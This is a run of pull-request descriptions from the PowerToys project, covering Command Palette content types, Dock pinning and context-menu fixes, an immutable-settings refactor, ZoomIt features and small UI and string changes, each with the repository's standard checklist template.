- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This PR introduces new types of IContent:
- Plain text content – simple and straightforward, with options to
switch between UI and monospace fonts and toggle word wrap.
- It's super safe to display any random text content without having to
worry about escaping the pesky markdown.
- Image viewer content – a more polished way to display images:
- When placed in the ContentPage, the component automatically resizes to
fit the viewport, ensuring the entire image is visible at once.
- Images can be opened in a built-in mini-viewer that lets you view,
pan, and zoom without leaving the Command Palette. (Doing this directly
on the page proved to be a UX and development headache.) Fully
keyboard-controllable, so there’s no need to take your hands off the
keys.
## Pictures? Pictures!
Plain text content:
<img width="960" height="604" alt="image"
src="https://github.com/user-attachments/assets/a4ec36f3-2f7f-4a2a-a646-53056c512023"
/>
Image viewer content:
<img width="939" height="605" alt="image"
src="https://github.com/user-attachments/assets/c87f5726-8cd0-4015-b2d9-f1457fa1ec96"
/>
https://github.com/user-attachments/assets/915cd9d2-e4e3-4baf-8df6-6a328a3592ba
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #41038
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This PR has two parts:
1. Hardens the managed paths in the Performance Monitor extension to
catch everything we can.
1. Adds crash recovery for cases where something fails in a way we
cannot handle.
## Pictures? Pictures!
<img width="1060" height="591" alt="image"
src="https://github.com/user-attachments/assets/ee91c610-32eb-4117-b9b8-6bbc40b9b426"
/>
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #46522
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary of the Pull Request
This PR decouples the Dock control context menu from the item selected
in the Shell Page list / Command Bar.
- Adds a new property to the context menu to control whether it should
react to messages like `UpdateCommandBarMessage`
- The `DockControl` context menu no longer follows those messages
Additional changes:
- Ensures the context menu for Dock-selected search box position
reflects the Dock position (when the Dock is at the bottom, the search
box is also at the bottom)
- Consistently displays the dock item context menu even for items with a
single context menu action (instead of showing the Dock menu, which was
confusing)
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #46404
- [x] Closes: #45892
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
This PR removes workaround for FontIconSource.CreateIconElement icon not
being visible, as it looks like it was fixed in WASDK 1.8.4.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #45788
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary
This PR refactors CmdPal settings/state to be immutable end-to-end.
### Core changes
- Convert model types to immutable records / init-only properties:
- `SettingsModel`
- `AppStateModel`
- `ProviderSettings`
- `DockSettings`
- `RecentCommandsManager`
- supporting settings types (fallback/hotkey/alias/top-level
hotkey/history items, etc.)
- Replace mutable collections with immutable equivalents where
appropriate:
- `ImmutableDictionary<,>`
- `ImmutableList<>`
- Move mutation flow to atomic service updates:
- `ISettingsService.UpdateSettings(Func<SettingsModel, SettingsModel>)`
- `IAppStateService.UpdateState(Func<AppStateModel, AppStateModel>)`
- Update ViewModels/managers/services to use copy-on-write (`with`)
patterns instead of in-place
mutation.
- Update serialization context + tests for immutable model graph
compatibility.
## Why
Issue #46437 is caused by mutable shared state being updated from
different execution paths/threads,
leading to race-prone behavior during persistence/serialization.
By making settings/app state immutable and using atomic swap/update
patterns, we remove in-place
mutation and eliminate this class of concurrency bug.
## Validation
- Built successfully:
- `Microsoft.CmdPal.UI.ViewModels`
- `Microsoft.CmdPal.UI`
- `Microsoft.CmdPal.UI.ViewModels.UnitTests`
- Updated unit tests for immutable update patterns.
Fixes#46437
---------
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
## Summary of the Pull Request
The Character sets list on the Quick Accent settings page had a fixed
3-column layout. This caused two negative user experience issues that
this PR solves:
1. The contents were clipped. When the settings window was resized to be
smaller, the rightmost column(s) were cut off rather than reflowing.
2. The control displayed unnecessary horizontal and vertical scrollbars
nested within the page.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #45964
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
I _believe_ the root cause is that the `ItemsWrapGrid` is contained
within the `ListView`'s built-in `ScrollViewer` which was able to expand
infinitely horizontally. During initial layout, the `MaxWidth` binding
to the parent `SettingsGroup`'s `ActualWidth` was respected and the
layout clamped the measurement appropriately, resulting in the correct
number of columns. However, on resize the unbounded `ScrollViewer`'s
infinite horizontal constraint took precedence and the reflow into fewer
columns never happened - the `ScrollViewer` never invalidated its
children's measure because, from its perspective, their available width
(infinite) had not changed. (I think - WinUI's layout and measure cycle
melts my brain.)
The fix required replacing the `MaxWidth` binding on `ItemsWrapGrid`
with a `SizeChanged` handler on the parent `SettingsCard`. The handler
reads the parent card's padding (58 pixels left and 44 pixels right) and
explicitly sets the language set `ListView.MaxWidth` accordingly. A
`Loaded` handler for the card ensures the correct layout on first
render.
The HorizontalScrollbar that caused the layout issue has been removed.
### Screenshots
3-column view:
<img width="1674" height="730" alt="image"
src="https://github.com/user-attachments/assets/890b0f4d-82ef-4147-a220-55941ae5ebc5"
/>
Resized to 2-columns:
<img width="1343" height="730" alt="image"
src="https://github.com/user-attachments/assets/d09aa295-9641-4c19-ab94-597e107614be"
/>
Resized to single-column:
<img width="726" height="823" alt="image"
src="https://github.com/user-attachments/assets/8baa507f-6e03-4f3c-a0ef-2bc2c59ed2e3"
/>
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
(All manual tests.)
Verified that:
- The 3-column layout is shown when there is enough space (this is the
maximum number of columns because of the page-level constraint.
- The 3-column layout correctly resizes to 2-column then to a
single-column layout when the window is resized, then back again when
made larger.
- The single-column list is shown when the Settings window is opened at
minimum size.
- Selection behaviour performed identically.
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Added this to ensure that ZoomIt can still build for 32 bit, even though
PowerToys doesn't ship such binaries.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Ensured that the ZoomIt subproject compiles fine for 32 bit, this inside
the Sysinternals build process, also tested that the panoramic
screenshot functionality works. This change is isolated through the
preprocessor for AMD64 and ARM64.
Two changes to shortcuts here:
1) Remove toggling the KBM service with a shortcut or via command
palette
2) Ensure that shortcut is disabled for editor when shortcut is cleared
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This adds several ZoomIt features:
- Panorama / scrolling screenshots. The image reconstruction happens
based on visual cues and accuracy depends on scroll speed during the
capture.
- Text extraction when snipping.
- Break timer improvements (the break timer is now a screen saver,
offering the possibility to lock the computer).
- Functionality for standalone clip trimming is present but not exposed
in the XAML UI.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
The build is successful both with PowerToys and as a standalone
Sysinternals executable. We ensured that the features behave as expected
and that no regressions are introduced.
---------
Co-authored-by: Mark Russinovich <markruss@ntdev.microsoft.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: markrussinovich <markrussinovich@users.noreply.github.com>
Co-authored-by: MarioHewardt <marioh@microsoft.com>
## Summary of the Pull Request
The Icelandic language definition was missing `í` entirely. This adds it
to `VK_I`.
Closes: Add missing Icelandic character í (VK_I) #46423
## Validation Steps Performed
Code review only. The change is a single line addition to a data-only
switch statement, consistent in structure with all other language
entries in the file. No binaries, pipelines, or localization files are
affected.
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
CommandProviderWrapper.PinDockBand had no duplicate check and it blindly
called .Add() on the settings list every time. This allowed the same
extension to be pinned multiple times to the dock. Once duplicates
existed in settings, LoadTopLevelCommands would faithfully re-create all
of them on every CommandsChanged reload, making edit-mode unpin appear
broken (unpin removes one, reload brings them all back).
**Fix**
- CommandProviderWrapper.PinDockBand: Check all three band lists
(Start/Center/End) for an existing (ProviderId, CommandId) match before
adding; early-return if already pinned.
- CommandProviderWrapper.LoadTopLevelCommands: Track seen command IDs in
a HashSet when iterating AllPinnedCommands; skip duplicates so they
never materialize in the UI even if present in settings.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
---------
Co-authored-by: Jiří Polášek <me@jiripolasek.com>
Top-level commands on the home page showed duplicate pin context entries
— e.g., "Pin to Dock" appearing twice, or contradictory "Pin to Dock" +
"Unpin from dock" on the same command.
## Summary of the Pull Request
When the window is hidden while a sub-page is active,
`ShellViewModel.Receive(WindowHiddenMessage)` re-navigates to the root
page while `CurrentPage` still points to the sub-page.
`GetProviderContextForCommand` therefore returns the sub-page's
`ProviderContext` (which has `SupportsPinning = true`, `ProviderId =
<extension>`) for the new home-page `ListViewModel`.
With that wrong context, `UnsafeBuildAndInitMoreCommands` runs for each
`ListItemViewModel` wrapping a `TopLevelViewModel` and injects a second
set of pin commands — using the wrong provider's dock/top-level state —
on top of the ones `TopLevelViewModel.BuildContextMenu()` already
injected via `AddMoreCommandsToTopLevel` with the correct per-item
provider context.
**Changes:**
- **`ShellViewModel.cs` (root cause):** Move `isMainPage` evaluation
before `providerContext` is computed; use `CommandProviderContext.Empty`
when navigating to the root page, regardless of what `CurrentPage` is at
that moment.
```csharp
var isMainPage = command == _rootPage;
var providerContext = isMainPage
? CommandProviderContext.Empty
: _appHostService.GetProviderContextForCommand(message.Context,
CurrentPage.ProviderContext);
```
- **`CommandPaletteContextMenuFactory.cs` (defensive guard):** In
`UnsafeBuildAndInitMoreCommands`, bail early when the page context
supports pinning and `commandItem.Model.Unsafe is TopLevelViewModel`.
`BuildContextMenu()` on `TopLevelViewModel` already populates pin
commands via `AddMoreCommandsToTopLevel` with the item's own provider
context; adding them again here is always wrong regardless of how the
page context ended up. The `SupportsPinning` check is evaluated first to
skip the `.Unsafe` type-test in the common non-pinning case.
## PR Checklist
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
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pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
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- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
The two fixes are complementary: the `ShellViewModel` change prevents
the wrong `ProviderContext` from ever reaching the home-page
`ListViewModel`; the `CommandPaletteContextMenuFactory` guard ensures
`TopLevelViewModel`-backed items are never double-processed even if some
other future code path sets the page context incorrectly.
The guard in
`CommandPaletteContextMenuFactory.UnsafeBuildAndInitMoreCommands` is
ordered so that `providerContext.SupportsPinning` (a cheap bool property
read) is evaluated before `commandItem.Model.Unsafe is
TopLevelViewModel`. This means the field access and type check are
skipped entirely for the common non-pinning case, addressing reviewer
feedback about unnecessary work on the hot path.
## Validation Steps Performed
Manually reproduced by opening CmdPal, navigating into a sub-page (e.g.,
"Search the Web"), closing the window, reopening, and verifying the
context menu for top-level commands shows exactly one "Pin to Dock" (or
"Unpin from dock") entry and at most one top-level pin action — no
duplicates or contradictory pairs.
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This PR does fix a bug where an item that starts with a null or empty
primary command never adds that primary action to the context menu after
the extension later provides a real command.
- Creates the default primary context-menu item lazily when `Command` or
`Command.Name` becomes available after `SlowInitializeProperties()`
- Refreshes `AllCommands`, `SecondaryCommand`, and `HasMoreCommands`
notifications for late command materialization and Show Details updates.
- Adds unit tests to cover the fixed issue.
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #46129
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
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already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
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- [ ] **Dev docs:** Added/updated
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on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
## Summary of the Pull Request
This PR improves cleanup of DockWindow after itself (since it can be
created and destroyed multiple times during app lifetime).
- Disposes its ViewModel (which it creates).
- Unregisters itself explicitly from WeakReferenceMessenger.
- Ensures that ShellPage closes the dock window when disposed and can't
spawn more.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #46302
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
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already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
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- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
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pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
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and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
Co-authored-by: Zach Teutsch <88554871+zateutsch@users.noreply.github.com>
## Summary of the Pull Request
This PR ensures that requested initial capacity is not a negative
number. `TopLevelCommandManager.TopLevelCommands` state is not is sync
with `globalFallbacks` here, plus `globalFallbacks` includes providers
that are disabled.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #46210
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
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already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
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- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
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- [ ] **Documentation updated:** If checked, please file a pull request
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repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
---------
Co-authored-by: Zach Teutsch <88554871+zateutsch@users.noreply.github.com>
Co-authored-by: Zachary Teutsch <zteutsch@microsoft.com>
## Summary of the Pull Request
Updates the checkbox label in the ShortcutConflictWindow (shown in the
Settings Dashboard when a hotkey conflict is detected) from "Ignore
shortcut" to "Ignore conflict". This change clarifies that checking the
box ignores the *conflict*, not the shortcut itself.
## PR Checklist
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx
## Detailed Description of the Pull Request / Additional comments
**File changed:**
`src/settings-ui/Settings.UI/Strings/en-us/Resources.resw`
- Updated `ShortcutConflictWindow_IgnoreShortcut.Content` from `"Ignore
shortcut"` to `"Ignore conflict"`.
The checkbox appears in the ShortcutConflictWindow header row next to
the conflicting hotkey. The previous label "Ignore shortcut" was
ambiguous — it was unclear whether it meant "ignore the conflict" (allow
the shortcut to coexist) or "ignore the shortcut" (disable it). The new
label "Ignore conflict" makes the intent unambiguous.
## Validation Steps Performed
- Manually verified the resource string change in `Resources.resw`.
- Confirmed the `x:Uid="ShortcutConflictWindow_IgnoreShortcut"` binding
in `ShortcutConflictWindow.xaml` picks up the updated `.Content` value.
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>
> ----
>
> *This section details on the original issue you should resolve*
>
> <issue_title>"Ignore Shortcut" is ambiguous; Suggest change to "Ignore
Conflict"</issue_title>
> <issue_description>### Description of the new feature / enhancement
>
> When ignoring shortcut conflicts, it is unclear (to me) if the "Ignore
shortcut" check box "ignores the conflict" (good) or "ignores the
shortcut" ... so it can't be used (bad). A change to the wording to
"Ignore Conflict" would clarify the intent.
>
> ### Scenario when this would be used?
>
> Renaming avoids ambiguity and avoids (me) wasting time checking the
AIs for what the check box actually does.
>
> ### Supporting information
>
> Not needed (I think)</issue_description>
>
> ## Comments on the Issue (you are @copilot in this section)
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> <comments>
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- Fixesmicrosoft/PowerToys#46296
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---------
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Co-authored-by: niels9001 <9866362+niels9001@users.noreply.github.com>
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
This PR introduces a new dialog that gives you more control on how a
command gets pinned to the Dock.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #46433
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
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and link it here: #xxx
<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments
<!-- Describe how you validated the behavior. Add automated tests
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## Validation Steps Performed
## Summary of the Pull Request
This PR updates Time & Date extension page to calculate current results
every time. This breaks possible infinite loop.
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist
- [x] Closes: #46329
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
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already. If the work hasn't been agreed, this work might be rejected
